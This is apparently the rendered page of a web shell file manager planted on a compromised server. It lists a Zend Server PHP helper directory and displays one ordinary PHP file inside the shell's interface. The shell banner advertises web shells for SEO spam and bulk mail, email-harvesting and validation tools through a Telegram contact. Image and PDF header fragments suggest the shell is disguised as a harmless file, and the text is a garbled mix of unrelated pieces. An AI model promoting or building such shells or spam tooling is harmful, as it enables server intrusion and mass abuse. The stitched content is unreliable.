xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration\View\Helper;

use Zend\View\Helper\AbstractHelper,
    Configuration\DaemonContainer,
    Messages\View\Helper\ServerErrorMessageXml;
use ZendServer\Log\Log;
use Messages\MessageContainer;

class DaemonXml extends AbstractHelper
{

    /**
     * @param \Configuration\DaemonContainer $daemon
     * @return string
     */
    public function __invoke($daemon)
    {

        return <<<XML

<daemon>
	<name>{$this->getView()->escapeHtml($daemon->getName())}</name>
	<status>{$daemon->getStatus()}</status>
	<restartRequired>{$daemon->getRestartRequired()}</restartRequired>
	<shortDescription><![CDATA[{$daemon->getShortDescription()}]]></shortDescription>
	<longDescription><![CDATA[{$daemon->getLongDescription()}]]></longDescription>
	<messageList>{$this->getMessageList($daemon)}</messageList>
</daemon>


XML;
    }

    /**
     *
     * @param DaemonContainer $container
     */
    protected function getMessageList($container)
    {
        $extensionErrorMessageXml = new ExtensionErrorMessageXml();
        $extensionErrorMessageXml->setView($this->getView());
        return $extensionErrorMessageXml->getMessageList($container->getMessageList());
    }
}

class ExtensionErrorMessageXml extends ServerErrorMessageXml
{
    protected $nodeName;

    /**
     * @param array $serversMessageList - where nodeName are they keys
     * @return string
     */
    public function getMessageList($serversMessageList)
    {
        $messagesXml = '';

        foreach ($serversMessageList as $nodeName => $messages) {
            $this->node_name = $nodeName;
            foreach ($messages as $message) { /* @var $message MessageContainer */
                Log::debug('Message '.$this->getMessageText($message));
                $messagesXml .= $this->getMessageText($message)."\n";
            }
        }

        return $messagesXml;
    }

    protected function getMessageText(MessageContainer $message)
    {
        try {
            $messageArray = $this->extractMessage($message);
            return $messageArray;
        } catch (\ZendServer\Exception $e) {
            Log::logException("Error in extracting message data", $e);
            return $this->createErrorMessage("Unknown Error");
        }
    }

    /**
     * @param string $message
     * @param string $severity
     * @return string
     */
    protected function createMessage($message, $severity)
    {
        $nodeName = ($this->node_name) ? "Node {$this->node_name}: " : "";
        return "<{$severity}><![CDATA[{$nodeName}{$message}]]></{$severity}>";
    }
}

Filemanager

Name Type Size Permission Actions
DaemonJson.php File 2.45 KB 0644
DaemonXml.php File 2.52 KB 0644
DirectiveJson.php File 1.7 KB 0644
DirectiveXml.php File 1.93 KB 0644
ExtensionJson.php File 1.48 KB 0644
ExtensionXml.php File 1.28 KB 0644
ZGridDirectives.php File 800 B 0644
licenseChangeJson.php File 922 B 0644
licenseChangeXml.php File 979 B 0644
licenseInfoJson.php File 1.6 KB 0644
licenseInfoManagerJson.php File 522 B 0644
licenseInfoManagerXml.php File 428 B 0644
licenseInfoXml.php File 1.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1